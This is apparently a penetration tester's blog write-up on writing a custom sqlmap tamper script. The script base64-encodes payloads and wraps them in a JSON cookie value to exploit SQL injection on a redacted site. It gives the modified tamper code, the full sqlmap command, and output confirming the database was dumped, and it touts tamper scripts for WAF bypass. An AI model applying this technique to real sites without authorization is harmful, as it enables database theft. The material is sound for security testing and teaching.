Since (at least) 2010, SQL Injection (and other types of Injection) has been number one (A1) on OWASP’s famed OWASP Top Ten list. The OWASP Top 10 (for those who aren’t familiar) represents the top 10 “most critical security risks to web applications” and is developed (by OWASP) using a broad consensus from within the (global) appsec community. “Risk” in this case, is measured not only on severity and impact but also on the relative frequency of the vulnerability class. In other words, SQLi is consistently ranked at the top, year after year, not only because it represents significant risk to any given application (and potentially its underlying infrastructure) but also because it is very frequently found.

There are many variants of SQLi, yet finding and subsequently exploiting this flaw is not always trivial. However, application security professionals have a magic weapon that does exactly this - SQLMAP! (Find it here or in a Kali image near you!)

        ___
       __H__
 ___ ___[(]_____ ___ ___
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|

Before reading any further, know that this is not a guide to using sqlmap. For that, I recommend you check out the Github project for sqlmap and read through it’s usage documentation.

Tamper Scripts

Let’s discuss the awesomeness that is sqlmap Tamper scripts (invoked using sqlmap via the command-line parameter “--tamper=TAMPER”). To explain Tamper scripts, I’ll start with sqlmap’s own documentation

sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation.

This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.

To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the tamper/ folder or edit them as long as you concatenate them comma-separated as value of the option –tamper (e.g. –tamper=”between,randomcase”).

Cool right?! Who doesn’t want to bypass WAFs? In addition to fuzzing / otherwise-testing poor input validation methods, Tamper scripts are also helpful when targeting particularly challenging injection vectors, an example of which I will describe in detail below…

A Difficult Injection Vector

I recently encountered an interesting SQLi vulnerability that was somewhat difficult to inject into, specifically with sqlmap, which is my go-to SQLi exploitation (and often discovery) utility. To set the scene, the web app in question had a simple GET parameter “id=1”. Naturally I first tried to inject directly into the GET parameter but came up empty both with manual exploitation as well as using sqlmap

[WARNING] GET parameter ‘id’ does not seem to be injectable

Bummer… Taking a closer look at the application logic, I noticed a cookie was being set as a result of submitting the GET request. The cookie was set as shown below…

Set-Cookie: userchl2_info=%7B%22last_book%22%3A%22MQ%3D%3D%22%2C%22userchl2%22%3A%22%22%7D

Subsequent requests anywhere within that same subdomain/path would include that cookie value. When (URL-)decoding the cookie value (%7B%22last_book%22%3A%22MQ%3D%3D%22%2C%22userchl2%22%3A%22%22%7D), I get the unencoded value, {“last_book”:”MQ==”,”userchl2”:”“}. I can see that the value for the dictionary pair with key “last_book” appears to be base64 encoded (the equal signs “=”, which serve as base64 padding give this away). Further (base64)-decoding that value I see that MQ== is equal to the value “1”, which is of course the original GET parameter value of id which was also 1!

OK, so now that I know how the GET parameter is stored within the cookie, I then inject a properly encoded (remember we must base64 encode the last_book value as well as URL encode the entire cookie value) apostrophe () into that JSON key/value pair to see if I can’t trigger a SQL error (in typical SQLi testing fashion). After base64 encoding the apostrophe, the result is “Jw==”. After URL encoding the entire payload cookie value I have %7B%22last_book%22%3A%22Jw%3D%3D%22%2C%22userchl2%22%3A%22%22%7D.

Submitting this new payload, I find the following SQL error in the response.

mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in [redacted].php

Eureka! This error demonstrates that I may indeed have a SQLi flaw. To continue to exploit this manually given the multiple encoding steps as well as the need to inject it into a particular location of the cookie value would be exhausting. Why not instead have sqlmap do the heavy lifting? By default, sqlmap does not handle the transforms and pinpoint accuracy required to pull this off. However, with the added functionality of Tamper scripting, we can extend sqlmap’s capabilities and do exactly that.

Becoming a Tampermage

Sqlmap has a variety of out-of-the-box Tamper scripts, all of which can be found in /share/sqlmap/tamper/. The one’s that come standard as well as any additional home-brewed scripts will all have the general format shown below…

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

Using a (single) Tamper script is easy, you can even chain multiple Tamper scripts together! Example usage is show below…

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

Of course, there was no exact out-of-the-box script that would do everything I needed in this particular use-case, so I needed to develop my own from scratch or at least modify an existing script. To get me started, I used the base64encode.py Tamper script as a launch point as I knew I needed to do some base64 encoding. This script in it’s (original) entirety is displayed below…

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return encodeBase64(payload, binary=False) if payload else payload

Alright, so this is a good start. Let’s recap what I need out of my final Tamper script in order to inject the properly encoded payload in the exact right location…

  1. I need to inject into the userchl2_info cookie value.
  2. The payloads generated by sqlmap must be wrapped in the JSON dict {“last_book”:”[PAYLOAD]”,”userchl2”:”“} (which is the properly formatted value for the injectable cookie).
  3. sqlmap payloads must be base64-encoded.
  4. The entire cookie value must be URL-encoded.

OK… so to do this, I changed the final return statement in the original base64encode.py Tamper script to the return statement shown below…

return urllib.parse.quote_plus('{"last_book":"' + encodeBase64("9999" + payload[1:],binary=False) + '","userchl2":""}')

Quickly decomposing this one-liner as it relates to my previously stated requirements…

  1. I can inject my (tamper-transformed) payloads into the cookie as part of a sqlmap command by setting the --cookie parameter to ‘--cookie=”userchl2_info=”‘.
  2. In the new return statement, I have {“last_book”:”’ + [PAYLOAD STUFF] + ‘”,”userchl2”:”“} which satisfies the JSON wrap.
  3. Using encodeBase64(“9999” + payload[1:],binary=False), I am able to encode the inner-payload as base64.
  4. Finally I use urllib.parse.quote_plus(…) to URL-encode the cookie value in it’s totality.

Putting this all-together in my sqlmap command…

sqlmap -u "[redacted].php?id=1" --cookie="userchl2_info=" -p "userchl2_info" --tamper="/usr/share/sqlmap/tamper/base64encode2.py" --dbms=MySQL --not-string="expects parameter 1 to be resource" --level=3

* Remember I discovered the DB was MySQL earlier when I first triggered the SQL error.
* I also discovered the “--not-string” when I first triggered the original SQL error.
* I’m not sure why (some more digging is needed), but for this to work, sqlmap must be run with Level 3, --level=3.

Running this command I get a lot of output - most importantly I see…

[INFO] heuristic (basic) test shows that Cookie parameter ‘userchl2_info’ might be injectable (possible DBMS: ‘MySQL’)
Cookie parameter ‘userchl2_info’ is ‘Generic UNION query (NULL) - 1 to 20 columns’ injectable
Cookie parameter ‘userchl2_info’ is vulnerable.

In other words, this injection vector was successful and I was indeed able to dump the database. The big takeaway here is that Tamper scripts are awesome and you can easily create your own which can precisely target and ruthlessly fuzz potential injection vectors.

I now don my and graduate as a sql(map) Tamper-wiz!